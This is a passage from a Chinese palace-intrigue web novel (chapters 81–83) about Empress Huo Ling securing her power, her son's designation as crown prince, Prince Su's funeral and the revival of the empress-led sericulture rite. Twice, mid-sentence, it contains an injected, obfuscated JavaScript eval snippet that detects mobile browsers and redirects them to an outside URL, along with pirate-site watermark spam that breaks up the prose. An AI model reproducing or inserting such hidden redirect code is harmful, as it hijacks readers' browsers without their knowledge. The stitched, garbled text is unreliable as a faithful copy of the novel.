虽然刚被霍皇后狠狠教训了一顿,但在听完霍皇后的安排后,江祭酒还是心悦诚服。 国子监监生上千人,只从前一百名里面挑人,好似要求还是高了一些。 但这上千人里,有很多都是靠着家中关系进来读书的纨绔子弟,有真才实学的,也不过小几百人。 要是在小几百人里,还考不进前一百,那也只能怪自己没有学到家了。 作者有话要说 第 81 章 时至今日,她终于... 第81章时至今日,她终于 陆杭能力出众,为人又十分识趣,事情交到他手里,霍翎并不担心会办砸,只耐心等着看结果。 转眼间就到了春节。 这个年,霍翎过得很舒心。 去年那会儿,她怀孕刚满三个月,外面又是大雪纷飞,未免出什么意外,这也不能去,那也不能吃。 如今生下孩子,就没有这些顾虑了,想去哪里就去哪里,想吃什么就吃什么。 妃嫔们过来给霍翎拜年时,还带来了她们准备的礼物。 给霍翎准备的,大都是她们自己绣的荷包、手帕。 给大皇子准备的,多是些适合孩子穿的鞋子、肚兜,还有保佑孩子平安的玉牌等物。 霍翎道:“都有心了。”又问她们过年都在做些什么。 霍翎刚进宫那会儿,妃嫔们就不敢在她面前造次。如今她生下大皇子,妃嫔们更是彻底歇了争宠的心。 反正皇后娘娘为人大气,从来不会克扣她们的吃穿用度,只要她们不闹出什么动静,犯到皇后面前,皇后也不会与她们过不去。 偶尔得了什么时兴的绫罗首饰,或是南边进贡了什么新鲜的吃食,也都乐意赏给后宫妃嫔。 大家吃喝不愁,日子过得舒坦,经常三三两两凑在一起打些叶子牌,踢会毽子,玩个投壶,也算得趣。 这会儿听到霍翎问起,大家都七嘴八舌一通说。 霍翎静静听着,不时也开口说几句话。 瞧着时间差不多了,在妃嫔行礼离开前,她才开口告诉一众妃嫔:大年初十、大年十一这两天,可以允许她们的家人递牌子进宫探望。 一听这话,不少位份偏低的妃嫔都露出激动之色。 位份高、出身好的妃嫔,想要见自己的家人不难。 但像她们这种,在宫里地位不高,家人官职也没高到能进宫的妃嫔就很尴尬了。 让霍翎觉得好笑的是,大年初十这天,霍家人也递了牌子进宫。 霍翎在凤仪宫招待他们:“爹爹和母亲怎么也跟着凑了热闹。” 霍世鸣道:“原本就想在离京前,再进宫见你一面。正好听说了这事,也是赶巧。” 霍翎:“这么快就要走了?” 霍世鸣叹气:“京师虽好但住久了心里总惦记着燕羽军的事情。” 燕西是霍翎布局的重中之重听霍世鸣这么说她也没有劝霍世鸣久留只道:“京师的上元节办得十分隆重盛大不如等过完上元节再走也免得要在路上过节。” 再急着走也不差这么几天。 霍世鸣笑着说好又问起大皇子的情况。 一直到用过午饭霍翎请霍世鸣单独去书房聊天。 霍世鸣道:“建白收到调令后就先启程回燕西了。” 方建白要先回燕西交接职务再从燕羽军点一批人随他去燕北。留给他赴任的时间只有两个月时间比较紧张就没有在京师多做逗留。 霍翎微微颔首又说起一事。 “燕西要兴办州学爹爹对此应该有所耳闻吧。” “这件事情的推进不会太顺利负责州学的官员若是求到爹爹那里爹爹记得伸以援手。” 明眼人都看得出来州学一事几乎完全是由霍翎主导的。 这是她第一次完全凭着自己的心意来推动一件政治事件的走向。 负责州学的官员就算不是霍翎的亲信也必然会烙下皇后一党的痕迹。 都是自己人如果有帮得上忙的地方霍世鸣当然不会吝啬帮助。 “你放心吧。”霍世鸣拍拍胸口毫不推诿。 霍翎笑了笑又道:“阿泽年纪不大也可以考虑让他进州学读几年书。” 霍泽这位国舅爷的身份可比何泰那位皇后堂兄还要货真价实一些。 如果霍泽进了州学读书燕西官员和本地豪强一定也很乐意将他们的孩子送进州学里面与霍泽成为同窗。 而且霍泽的性子还是太跳脱了多念几年书磨磨性子也不错。 霍翎也不求霍泽以后能帮上她多大的忙至少不能稀里糊涂铸下大错扯她后腿。 霍世鸣没有霍翎想得那么远但也觉得送霍泽去念书是个不错的主意。 父女两就燕西之事聊了许久等方氏和霍泽抱着安儿找过来时才止住话音。 方氏对于自己进宫求霍翎帮忙劝说方建白结果方建白转头就被调去燕北一事是十 分错愕的。 不过事后方建白跟她开诚布公聊过,又有霍世鸣在旁边开解,方氏也就只能看开了。 她不看开也没办法。 方建白的婚事,她还能说上话。 但事关方建白的前程,事关方家的未来,全都系在丈夫和继女的身上,已经不再是她能左右的了。 当初继女没出嫁前,她心里不舒坦时,还能抱怨两句。 到了如今,若是她还管不住自己的嘴,别说丈夫,就连儿子和侄子都不会站在她这一边。 看着雍容华贵、风姿远胜往昔的继女,方氏已是深深体会到了,何为尊卑有别。 上元节后,霍家人带着帝后赏赐的东西,启程返回燕西。 礼部花了半个月时间,将民间投递上来的答卷一一批改完毕,择出成绩最好的二十人。 为了防止出现代答的情况,礼部还给这些人单独安排了一场考试。 确定这些人都有真才实学,不存在弄虚作假,这才上报给宫里。 几日后,这二十名从民间选出来的文人,以及二十七名从国子监选出来的监生,都被授予了官职。 一口气授予四十七人官职,这在大燕朝还是极少见的,当下就有朝臣提出质疑。 不过很快就被礼部和国子监联手骂了回去。 朝廷既要用人,焉能不封官? 再说了,这些人里,除了几个表现优异的被授予了七品学官之位,其余都是些八品九品不入流的小官。 封得再多,也不影响大局。 大多数人都被说服了,但也有极少数人微微蹙起眉。 七品、八品、九品的官职,当然不会被他们放在眼里。 他们所警惕的,是这种用考试来大批量选拔人才的办法…… 朝中因为这件事情,着实闹出了不小风波。 风波因那四十七人而起,却与他们毫无关系。 他们在接受朝廷任命后,就在几位主官的带领下,收拾行李前往燕西,开始投入到兴办州学一事里。 等到朝中终于消停下来,安儿已经会开口叫“娘娘”了。 十个月大的孩子已经能坐稳,还能在地上爬来爬去。 霍翎命人在地上铺了毯子,就将孩子放到上面玩 。 她和无墨一边陪着孩子,一边说起今年要怎么给她和景元帝庆生。 结果说着说着,原本爬远的孩子又重新爬回霍翎怀里,抓着她的胳膊,用含糊的声音叫了一声“娘娘”。 没错,季衔山小朋友来到这个世界上,开口喊的第一个词,既不是“母后”也不是“父皇”,而是“娘娘”。 这一声呼喊,把正在叫“娘娘”的无墨吓了一跳,下意识捂住自己的嘴。 霍翎也是一愣,搂住孩子,纠正道:“安儿,叫母后。” 无墨苦着脸:“估计是平时听我们喊娘娘听多了,就被他学了去。” 孩子在霍翎怀里咯咯笑,嘴巴一动,吐出口水。 霍翎用手帕擦了擦孩子的嘴角,笑道:“也怪本宫,想着他还小,就不急着教他喊母后和父皇。” 景元帝过来的时候,听霍翎提起此事,哪里还坐得住,当下就要去看孩子。 霍翎也不管他,先忙完手头的事情,这才过去寻景元帝和孩子。 到了偏殿,就听景元帝正在一个劲教孩子喊“父皇”。 孩子还以为景元帝是在跟自己闹着玩,咯咯一直笑。 霍翎停在不远处看着父子两,没有出声打扰。 景元帝过了好一会儿才注意到霍翎来了。 他玩笑道:“娘娘怎么不说话?” 霍翎配合着他:“娘娘怕抢了陛下的风头啊。” 结果就在这时候,孩子又叫了一声“娘娘”。 霍翎没想到孩子如此配合自己,大乐:“可见临时抱佛脚是行不通的。” 景元帝也忍不住笑了,提醒她:“安儿叫的是娘娘,又不是母后。等他先开口叫了父皇,你可别跟朕急。” 霍翎一想也是,连忙凑了过去。 孩子开口说出第一句话以后,再说其它的词就很快了。霍翎和景元帝配合着教了好几天,终于让他开口喊了“母后”和“父皇”。 这期间还发生了一件很有意思的事情。 大朝会上,一名姓康的吏部官员上了一道折子,请景元帝册立东宫。 “储君乃一国之本,陛下早立太子,也能让朝臣安心。” 至于要立谁为太子,折子里没有明说,也根本不需要明说。 这道折子一上所有人侧目看着浓眉大眼的康子真 说的域名qiexs.com℡(请来企鹅小 说 看最新章节 完整章节)在心里大骂这家伙奸诈狡猾。 尤其是邱鸿振、靖国公这样的皇后铁杆更是险些气个半死。 这立太子的折子还用你上吗? 当我们这些人想不到这一点吗? 我们不就是想着再等一等结果好嘛竟然被这不知道从哪里冒出来的家伙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13408588|123828||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抢了先! 众人一边骂着康子真一边也不肯落于人后纷纷出列请立东宫。 大朝会结束后还上折各种夸奖大皇子。 霍翎随便抽出一本看了两眼又瞧了瞧不远处正在扶着栏杆学走路走两步能磕绊三回的孩子小声对景元帝道:“只看这些折子我还以为安儿是尧舜转世生而知之。” 也难为这些朝臣对着一个还没满一岁的孩子也能夸得如此天花乱坠。 景元帝哈哈一笑:“偏你促狭。” 霍翎将折子重新丢回去也没有多说立太子的事情转而与景元帝聊起抓周礼。 这场抓周礼霍翎和景元帝都有意大办从宗室到朝臣诰命只要品阶够的都在受邀观礼之列。 绝大多数朝臣都是第一次看到大燕朝未来的储君。 ——虽然这位未来的储君这会儿只是个粉雕玉琢的奶娃娃。 特意为了抓周礼而打造的桌子十分宽大周围围了一圈东西可以防止孩子不小心掉下去。 桌上已经堆满了东西。金银珠宝经史子集笔墨纸砚琳琅满目都是内务府提前准备好的。 霍翎将孩子放进桌子里。 孩子坐在桌子上用那双完全遗传自霍翎的眼眸左右看了又看这才慢吞吞在桌子上爬行。 宫人在旁边哄他让他去拿东西但他左摸摸右瞧瞧就是没有真正将东西拿起来。 “安儿来这里。” 景元帝突然拍了拍手用掌声来吸引孩子的注意力。 他一发话周围原本还在起哄的宫人都噤了声紧张地盯着孩子。 景元帝又拍了几次手孩子终于发现了他推开面前挡路的书本和毛笔爬到了景元帝面前。 景元帝停下动作。 没有声音作为指引孩子继续左摸摸右 瞧瞧。 仿佛是几经挑选以后,终于挑选出了自己最心爱的玩具,孩子在摸到一道明黄色卷轴时,突然一把握住了它,将它举到空中胡乱挥舞着。 崔弘益正要唱和出声,告诉众人大皇子抓到了什么东西。 结果他定眼一看,声音顿时磕巴起来。 “大皇子抓到圣、圣……” 李满白了眼这没出息的干儿子,高声道:“大皇子抓到一道圣旨。” 满堂皆惊。 霍翎也有些诧异,下意识看向景元帝。 抓周礼的东西,虽然都是内务府准备的,但也提前给霍翎报备过。内务府的人肯定不可能准备一道圣旨。 这道圣旨明显是景元帝带过来的。 景元帝微微一笑,从安儿手里接过圣旨,递给霍翎:“打开看看?” 霍翎心中已有猜测。 打开一看,果然是一道册立大皇子季衔山为储君的诏书。 李满再次开口。 “陛下有旨——” 除了霍翎和景元帝外,周围众人纷纷跪下听旨。 李满将诏书上的内容,一字不差宣读出来。 原本就热闹盛大的抓周礼,随着这道圣旨的颁布,愈发隆重喜庆。 立储一事非同小可。 就如立后有立后大典一样,立储也要举办立储大典,昭告天下子民,敬告天地祖宗。 安儿年纪还太小,根本不可能独自完成大典,最后是由霍翎和景元帝一起陪着他完成了整场仪式。 东宫也被重新收拾出来。 不过在安儿六岁之前,都会继续住在凤仪宫里,由霍翎亲自抚养照看。 仿佛只是一晃眼的功夫,凤仪宫外的海棠花开了又谢,谢了又开,霍翎亲眼目睹了四场开花,也在中宫度过了她人生的四个年头。 在成为皇后的头两年,她整顿六宫,收拢六宫权柄。 借着两位公主去天章阁读书一事,试探朝臣的反应。 用何泰之死,彰显自己的权威,让朝臣领略到她的行事风格。 再由何泰一案,开始追查各地监牧区的贪污渎职问题。 凭借这一次次机会,展露自己的政治天赋,让景元帝愈发信任她的能力,开始着手培养她,允许她涉足前朝,在御书房旁听君臣对奏,甚至同意她批复一些折子,让她进行决策。 在她怀孕以后,景元帝将燕羽军交给她的父亲来执掌。 只用了几句话,她就让何家失去了一个侯爵之位。 季渊晚那孩子也被送出皇宫。 在她成为皇后的第四年,她亲自推动并主导了在燕西兴办州学一事。 无需她做任何暗示,朝中那些想要依附她的人,就已经开始迫不及待地上书请立东宫。 时至今日,在她的孩子正式被册立为太子以后,她终于彻底成势。 作者有话要说 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 第 82 章 “能制定多高规格... 第82章“能制定多高规格 立储大典结束后的第四天,宫里收到了肃亲王的死讯。 肃亲王这几年一直缠绵病榻,病情时好时坏,偶尔恢复一些了,也能出来走动一下。但大多时候,他都是待在王府里养病。 这会儿得知肃亲王病逝的消息,霍翎和景元帝也不意外。 只是,景元帝与这位亲叔叔的关系一向不错,心下难免唏嘘。 “前些天皇叔还说身体好些了,能来参加安儿的立储大典。谁想大典刚结束,人就去了。” 霍翎也道了句“可惜”。 她与肃亲王只见过几面,彼此间少有交谈接触。但只观肃亲王府的行事,也能看出肃亲王的智慧。 景元帝道:“早知道朕就不同意他参加大典了。” 霍翎却不赞同:“皇叔心系社稷,能看到陛下后继有人,国朝定下储君,他这一去,也去得安心。” “皇叔只是命数到了,强求不得。” “要是陛下当时没有同意他出席,说不定皇叔就要带着遗憾离开人世了。可见陛下的决策是何等明智。” 景元帝也就是突然心生感慨罢了,听霍翎这么劝慰,也没有多纠结这个问题。 霍翎又道:“我们多给肃亲王府赐些奠仪,让皇叔的身后事更体面些。” 景元帝一叹:“也只能如此了。” 命人去传唤陆杭。 肃亲王病逝的折子是直接递进宫里的,礼部那边还没收到消息。 陆杭是进了宫后,才知道这件事情的。 他与肃亲王年岁相仿,两人虽没有结下很深的交情,也未必说得上是朋友,但总能称一句“故人”,也难免伤感。 “皇叔的谥号,朕已经拟好了。” 景元帝将刚写好的纸张递给陆杭。 “皇叔一生克己复礼,持节守身,兢兢业业,当得起一个忠字。” 一位亲王,能得到“忠”这个谥号,评价不可谓不高。 陆杭在心底反复默念几遍,拱手对景元帝道:“这个谥号,确实适合肃亲王。” 除了拟定谥号,景元帝还给肃亲王府赐下奠仪和治丧银子,甚至还带着霍翎过府祭奠了一番。 肃亲王的葬礼办得极其隆重。 作为京中宗室里辈分最高之人不仅宗室来了许多人祭奠就连朝中臣子也都带着家眷过来。 听闻帝后驾临肃亲王府的人和一众宾客都有些讶异。 肃亲王世子亲自出面接待帝后二人。 看着肃亲王世子悲伤的面容霍翎温声道了句“节哀。” 肃亲王世子叹道:“其实今年胡太医上门给我爹请脉时就提醒过我们让我们早做准备。” “他老人家这一去也好。这一去就不用再受病痛折磨了。” 霍翎给肃亲王上过三炷香后又去见了见肃亲王府的其他人最后还摸了摸季二娘子和季三郎的头。 “瞧着都瘦了。” 季二夫人看霍翎亲近自己的儿女心下也高兴。 不过如今这个场合她也不会傻到将高兴显露出来只道:“两个孩子和他们祖父关系好这几天没怎么睡好。我们这些大人忙前忙后一时也顾不上他们。” 霍翎温声道:“还是得多保重身体尤其是孩子正在长身体。” 因着霍翎和景元帝身份特殊略聊了几句话后也不多留。 肃亲王世子送他们离开王府时正好碰到端王和端王妃带着两个孩子过来祭奠。 两个孩子站在端王和端王妃中间恰好将这对貌合神离的夫妻分隔开。 端王看上去变化不大只是这几年的不如意让他原本疏朗清隽的眉眼添了几分阴郁低沉。 这种若隐若现的阴沉冲淡了他身上的富贵风流气。 端王妃的变化就显得很大了。 她瘦了许多因为是上门祭奠长辈她穿了一件素净的衣裙。潮湿闷热的风迎面吹来衣裙紧紧贴在背脊上勾勒出她瘦削到几乎只剩骨头的身形。 她的嘴唇天生向下不过以前的她气色红润唇角常带着温和不失礼的笑容很难被人注意到这一点。 如今她面颊消瘦薄薄一层粉遮不住苍白的肤色面无表情站在那里整个人的面相都显出几分讥诮刻薄。 “陛下 看到帝后二人端王第一个反应过来抱拳行礼。 端王妃反应慢了一些在端王行完礼后 才带着两个孩子行礼。 她的头埋得极低,一直到帝后二人的衣角都消失在视野里,才默默起身。 *** 在肃亲王下葬以后,肃亲王府的人递上了辞官守孝的折子。 霍翎对景元帝道:“守孝是应有之义,我们不能拦着肃亲王世子他们尽孝。” “皇叔这些年在国事上一向尽心,肃亲王世子也是个知礼能干之人,如果能早些将爵位定下来,也能让肃亲王府的人更感念陛下的恩德。” 景元帝笑道:“你说得对,是该早些定下来。” 肃亲王世子没有季渊晚那样的机缘,在肃亲王去世后,肃亲王世子只能继承郡王爵位。 景元帝直接下旨,让肃亲王世子承袭了郡王爵,成为肃郡王。 空缺出来的宗人府宗正一职,景元帝交给了诚郡王。 这位诚郡王,在宗室里名声不显。 和肃郡王一样,诚郡王也是在先帝弟弟诚亲王去世后才承袭了郡王爵。 将旨意传达下去,景元帝对霍翎道:“如今先帝那一辈的兄弟姐妹,除了一位远嫁的衡安大长公主,就不剩什么人了。” 说到最后,他的语气里,难免带上几分惆怅。 霍翎知道景元帝为何会做此感慨。 有长辈在世时对于年岁的认知,和长辈都不在了以后对年岁的认知,是完全不同的。 她安慰道:“陛下若是想念大长公主了,就给大长公主赏赐一些东西,再请她回京师多住一段时间。” 景元帝摇头一笑,压下心底的怅惘:“赏东西就好,回来一趟太折腾了,看姑姑自己的心意吧。” 肃亲王府的人在收到宫里的旨意后,都长长舒了一口气。 虽然他们都觉得,陛下和皇后娘娘不会阻拦他们袭爵,但只要旨意一日未下,他们就生怕出现和承恩公府一样的变故。 季二夫人掰了个橘子,一边吃着一边道:“承恩公府有那样的下场,是因为他们不知好歹,看不清形势。我们家与娘娘素来亲厚,要我说,你们就是太多虑了。” 肃郡王在心里连连感慨自家老爹的英明。 要不是有肃亲王提醒,他们怎么会早早与皇后娘娘交好呢。 “如今爵位已定,我们也可以安 心在家守孝了。” *** 随着肃亲王府的人闭门守孝后,肃亲王去世的余波也在慢慢消散。 枫叶染红,天气渐凉,尚衣局给太子殿下做好今秋的衣服后,第一时间送来凤仪宫。 霍翎拿起一套绣着老虎花纹的黄色袄衣:“这衣服好看,安儿穿起来肯定精神。” “还有这一套红色的,也很喜庆。” 尚衣局石奉御笑着奉承:“皇后娘娘说得是。这套衣服的料子,我们选用了最正的红色。太子殿下肤色白,穿上去肯定和年画上的娃娃一样。” 霍翎笑着对一旁的宫女道:“将安儿抱过来,让他上身试一试这些衣服。” 宫女领命退下,正好与进殿禀报的无墨擦身而过:“娘娘,德妃娘娘又派宫女送东西来了。” 霍翎道:“让她进来吧。” 石奉御立刻提出告退。 霍翎没有留她,摆手示意石奉御退下。 不多时,德妃身边的大宫女被请了进来,手中端着一个托盘,托盘上摆着一只活灵活现的布老虎。 霍翎拿起布老虎,来回看了几眼,赞道:“德妃的绣工当真精湛,怕是废了不少功夫吧。” 德妃身边的大宫女笑道:“我们家娘娘平日就喜欢做这些绣活,大公主小的时候,许多贴身衣服都是我们家娘娘亲手做的。只要娘娘和太子殿下喜欢,她下的那些功夫都不算什么。” 霍翎一笑,收下布老虎,又给德妃赏了不少东西,算是承了德妃的情。 等人一走,无墨道:“德妃娘娘这些天总派人往凤仪宫送东西,这是什么意思?” “没什么意思,只是想向本宫多多示好。”霍翎放下布老虎,笑道,“德妃真不愧是陆家人,这八面玲珑的性子,与陆杭颇有几分相似。” 霍翎才夸过陆杭,结果没两天,陆杭就给了霍翎一个惊喜—— 陆杭上书,提议恢复皇后亲蚕礼。 亲蚕之礼起于周代,依照《周礼》上的记载,每年春天,皇帝要去天坛地坛祭拜农神,主持先农礼,祈求风调雨顺;皇后则要率领内外命妇前往北郊,主持亲蚕礼,祭祀先蚕神。用躬耕亲蚕的方式,来规劝农桑,鼓励百姓勤于耕织。[注] 在本朝建立后,只有太 祖 时期举办过一次亲蚕礼。 自那以后本朝就再也没有过关于亲蚕礼的相关记载。 如今陆杭突然提出恢复亲蚕礼自然是为了向霍翎示好。 而这种事情由他这个礼部尚书来提实在是再顺理成章不过。 霍翎在得知此事后心中一动立刻就想明白了其中好处。 她以皇后的身份参加过许多祭祀仪式。但她所参加的每一项祭祀仪式都是与景元帝一起的。 亲蚕礼却不同。 这种沿袭自周代的古礼是历史上唯一一项单独由皇后来主持的祀典。 国之大事在祀与戎。 马政、骑兵都算是戎事她在军队一事上闹出的动静足够多了短时间内确实不宜再向军队伸手。 那么在祀事上做文章确实是个极好的方向。 如果能够恢复亲蚕礼重新制定亲蚕礼的仪注让它再次成为一项惯例无疑能极大提高她在前朝的影响体现中宫皇后的威仪。 “也难怪陆杭能做礼部尚书。本宫没想到的事情他先替本宫想到了。” 心中打定主意霍翎对无墨道:“去看看安儿醒着吗醒着的话抱他过来。” 无墨连忙去了 说全网首发无弹窗免费阅读qiexsΘ(请来企鹅小 说 看最新章节 完整章节)不多时就将安儿抱来了。 “母后。” 安儿已经能站稳了他不肯窝在霍翎的怀里而是扶着霍翎站在榻上。 霍翎也由着他只是虚虚用手臂环在他身侧以防他一个不小心没站稳。 安儿扯了扯自己的衣服问霍翎:“这是什么?” 他今天穿上了那套黄色的绣有老虎花纹的袄衣整个人裹得胳膊都有些抬不起来。 霍翎低头看去笑着反问:“是什么?” 安儿咧开嘴:“是老虎!” 霍翎看他胸口鼓鼓胀胀似乎塞了什么东西在里面就指着他胸口问:“那这是什么?” 他摸了摸自己的胸口才想起来这里面藏有东西连忙将它掏出来:“会咬人藏起来。” 霍翎一看哑然失笑。 原来是德妃送的那只布老虎。 “你是想说它会咬人所以要藏起来吗?” 安儿也不知道有没有听懂反正是点头了:“母 后不怕。给母后。” 正说到这里,李满就过来了。 “娘娘,陛下请您去太和殿一趟。” “好,本宫这就过去。”霍翎应了一声,扭头看向安儿,“要不要去找父皇?” 安儿脆声应好,又用力挥舞布老虎:“给父皇。” 霍翎佯怒,掐了下他肉嘟嘟的脸:“好啊,刚才还说要给母后,现在就要给你父皇了。” 太和殿里,景元帝站在窗边,负手而立,正出神想着事情,突然就听到秋风送来孩子清脆的笑声,还有模糊的对话声。 景元帝唇角含笑,快步走了出去。 霍翎才刚走进太和殿,迎面就看到了景元帝。 她二话不说,直接将怀里的安儿递了过去:“陛下的儿子,陛下自己抱吧。” 安儿双腿在空中扑腾两下,还以为霍翎是在跟他玩闹,咯咯直笑。 景元帝接过安儿,目光却落在霍翎身上,笑问:“怎么,安儿惹你不高兴,你就将气撒在朕身上?” 霍翎被他这话逗笑:“臣妾可不敢对陛下生气。” 景元帝单手搂着安儿,另一只手来牵霍翎:“朕让人准备了你最爱的莲子羹,一会儿就该送来了,先进来坐吧。” 才刚坐下,安儿就从怀里掏出了布老虎,在景元帝耳边小声道:“父皇,老虎。给。” 景元帝看着他手里的布老虎,又看着他身上的老虎衣服,夸他: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13465089|123828||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “像只小老虎。” 安儿一下就来劲了,两只手放在腮边,做出老虎要吃人的样子。 景元帝哈哈一笑,再次搂住安儿,说:“行吧,这只小老虎给朕,这只小老虎——” 景元帝将安儿转了个向,让安儿的胳膊伸向霍翎:“娘娘要不要?” 霍翎失笑,从安儿手里接过布老虎。 景元帝顺势打量了几眼:“这只布老虎做得真不错,是内务府做的?” 霍翎摇头:“是德妃送给安儿的。” 提到德妃,景元帝就想起来陆杭。他微微点了下头,吩咐人赶紧去给太子准备一份鸡蛋羹。 用过东西,安儿就困了。 霍翎将他放到榻上,为他盖好被子,才轻声问景元帝:“陛下突然找臣妾过来,是有什么事情吗?” 景元帝道:“陆杭上了一道折子,是关于恢复亲蚕礼的。此事与你有关,朕就找你来商量一下。” “亲蚕礼?”霍翎只当自己是刚知道,“臣妾听说过,但本朝似乎没有皇后主持过亲蚕礼吧。” 景元帝回:“有过一次记载,是太 祖时期的事情了。不过那时简皇后重病,亲蚕礼是派遣了官员代简皇后祭祀先蚕。” 景元帝其实也不记得这件事情了,但陆杭的折子里有提到,这会儿听到霍翎问起,他也就说了出来。 霍翎问:“陛下是在哪里看到的记载?” 景元帝将折子找出来给她。 陆杭呈上来的折子非常厚,里面提到了本朝礼书中对亲蚕礼的规定,还有前朝时有关亲蚕礼的规定。 霍翎仔细看了一遍,合上折子:“本朝对亲蚕礼的规定,似乎大都沿袭自前朝礼书?” 景元帝道:“本朝只举办过一次亲蚕礼,仪注不够完备也是自然。” 霍翎眼眸一弯,自然而然道:“天下百物皆出于农,养蚕关乎国计民生,如果朝廷恢复了亲蚕礼,也能让百姓感受到皇室对养蚕织布的重视和推崇。” “臣妾身为皇后,也愿意尽一份心,代表百姓祭祀祈福,祈求先蚕神赐福显灵。” 景元帝笑了下:“那就让礼部先准备着。” 霍翎用折子轻轻拍着掌心,温声提议道:“是该好好准备起来。前朝都亡了近百年,别的不说,前朝时举办亲蚕礼的祭坛,早已毁于战火之中。” “正好也可以趁着这个机会,重修我朝礼书中有关亲蚕礼的部分。” 既然已经同意恢复亲蚕礼,景元帝自然也愿意将它办得更隆重些。 霍翎身为太子的亲生母亲,她的体面,也代表着太子的体面。 *** 陆杭今天的心情十分愉悦,回到礼部衙门后,他也不急着处理公务,坐在窗边听着淅淅沥沥的雨声,顺手给自己泡了杯御赐的明前龙井。 才刚品完一杯茶,就见礼部右侍郎急匆匆走了进来。 “大人,宫里的旨意下来了。” 陆杭微微一笑:“我看你步履匆匆,还以为有什么急事。原来是为这个。” 右侍郎道:“大人似乎一点儿也不意外。” 陆杭请他坐下微挽袖子给他斟了杯茶:“恢复亲蚕礼对皇后娘娘来说是好事。只要娘娘愿意陛下也不会驳娘娘的面子。” 右侍郎顺着陆杭的话一想还真是这个道理:“只是没想到宫里的旨意下来得这么快。” 折子是大早上递上去的旨意下午就下来了。亲蚕礼可不能算是一件小事啊。 陆杭听到这话 右侍郎道:“确实还有一事。宫里说要重新制定亲蚕礼的仪注最好是能形成明文规定以供后人遵循。” 陆杭眼神一闪:“那就得重修我朝礼书了。” 想了想陆杭又问:“宫里有明确亲蚕礼的规格吗?” 右侍郎再次回忆了下确认道:“没有。” 陆杭端起茶杯一口气喝完了杯中茶水笑道:“那能制定多高的规格就制定多高的规格。” 既然要向皇后示好当然得做得尽善尽美。 不然那就不是示好是膈应了。 右侍郎:“中祀?” 陆杭:“中祀。” 朝廷祭祀分大祀、中祀和小祀三个级别。 只有祭祀天地、宗庙和社稷才会用到大祀的规格。 皇帝亲自主持的先农礼就是中祀。 而亲蚕礼在历朝历代里都没有明确的祭祀规格。 若遇上比较重视的朝代场面就会略显隆重一些;若遇上不太重视的朝代场面也会略有削减。 面对宫里那位皇后娘娘礼部当然是越重视越好。 作者有话要说 *[注]的内容参考自百度。 在唐高宗以前历代帝王对亲蚕礼并未做出明确的等级划分有的只是规定可以用“太牢”“少牢”之礼祭祀先蚕。逮至唐高宗时将亲蚕礼规定为“中祀”并为后世所遵循。 高宗时期亲蚕礼一共实践了五次参与亲蚕的皇后都是武则天武则天通过一次又一次的亲蚕礼来不断强化自己的政治权力。 **推荐基友唐宓的新文《前方修罗场预警[快穿]》ID:7866646 文案: 身为任务者倪音深受“天 道排斥,每个世界,到手都是一副烂牌。 不过,那又怎样?就喜欢你们轻我鄙我恼我怒我,却依旧会为我沉沦。 【大学里虚荣拜金的舔狗女友?不,是引得高冷学神与暴娇校草为她大打出手的娇艳美人。】 ——“你老婆fine,下一秒mine。 【娱乐圈手拆cp的自私“嫂子?不,是风靡全网,连影帝都为她着迷的天然钓系。】 ——“乖,张嘴。 【全息真人秀里三心两意的清贫小白花?不,是所有人为她倾倒,撩而不自知的清冷白月光。】 ——“放心,我只是假装被她迷得神魂颠倒。 【豪门里代替妹妹的黑莲花病秧子?不,是让冷漠霸总一次又一次为她破例的心尖朱砂痣。】 ——“下不为例。 【末日自私自利小作精?不,是被她抛弃的前男友大佬们因她上演雄竞修罗场的人鱼公主。】 ——“我恨我爱你。 …… 注:女主爱演又会钓,一切目的为了攻略,为了苏。 每个位面攻略对象≥2,内含大量雄竞修罗场。 第 83 章 规章制度落入书中... 第83章规章制度落入书中 前前后后花了大半个月,礼部终于制定好了相应的章程。 陆杭第一时间送进宫里。 景元帝得知陆杭的来意,直接吩咐身边伺候的人:“请皇后过来。” 霍翎来得很快。 陆杭不敢怠慢,起身行礼。 霍翎施施然在景元帝身侧落座,微笑道:“陆尚书免礼。” 陆杭将手中的东西递给内侍,再由内侍转呈霍翎。 霍翎右手按在上面,也不急着翻看:“这些东西,本宫回去后会慢慢看。陆尚书先简单介绍一下情况吧。” 这一回,从祭祀的吉日,到举办祭祀的场所,再到祀蚕所用的舞乐规制,以及祭祀结束后的宴饮规格…… 礼部都重新做了细致周全的修订,既有对前朝亲蚕礼的继承,也略有调整改动。 比如说祭祀的吉日。 前朝定在三月举办,但礼部认为,先农礼和先蚕礼可以在同一天举办。 也就是在二月二龙抬头这天举办。 再比如说举办祭祀的场所。 前朝举办亲蚕礼的祭坛,早已毁于战火,如果要在原址上重建,所耗极大。 《礼书》有言:“葬于北方北首,三代之达礼也,之幽之故也。” 先农坛建在京师南郊,南主阳,北主阴,本朝可以直接启用位于京师北郊的祭坛,在那里祭祀先蚕神。 还有祭祀时需要用到的舞乐。 因为不同礼制的祭祀,所用舞乐的规制也是不同的。 亲蚕礼是一项单独由皇后来主持的祀典,参与祭祀的人都是内外命妇。所用到的舞乐也都应该是“女乐”,从舞者到乐工全部启用女子。 …… 霍翎并不认为陆杭这样的老狐狸会敷衍她,不过这段时间闲着也是闲着,霍翎就顺便了解了历朝历代有关亲蚕礼的内容。 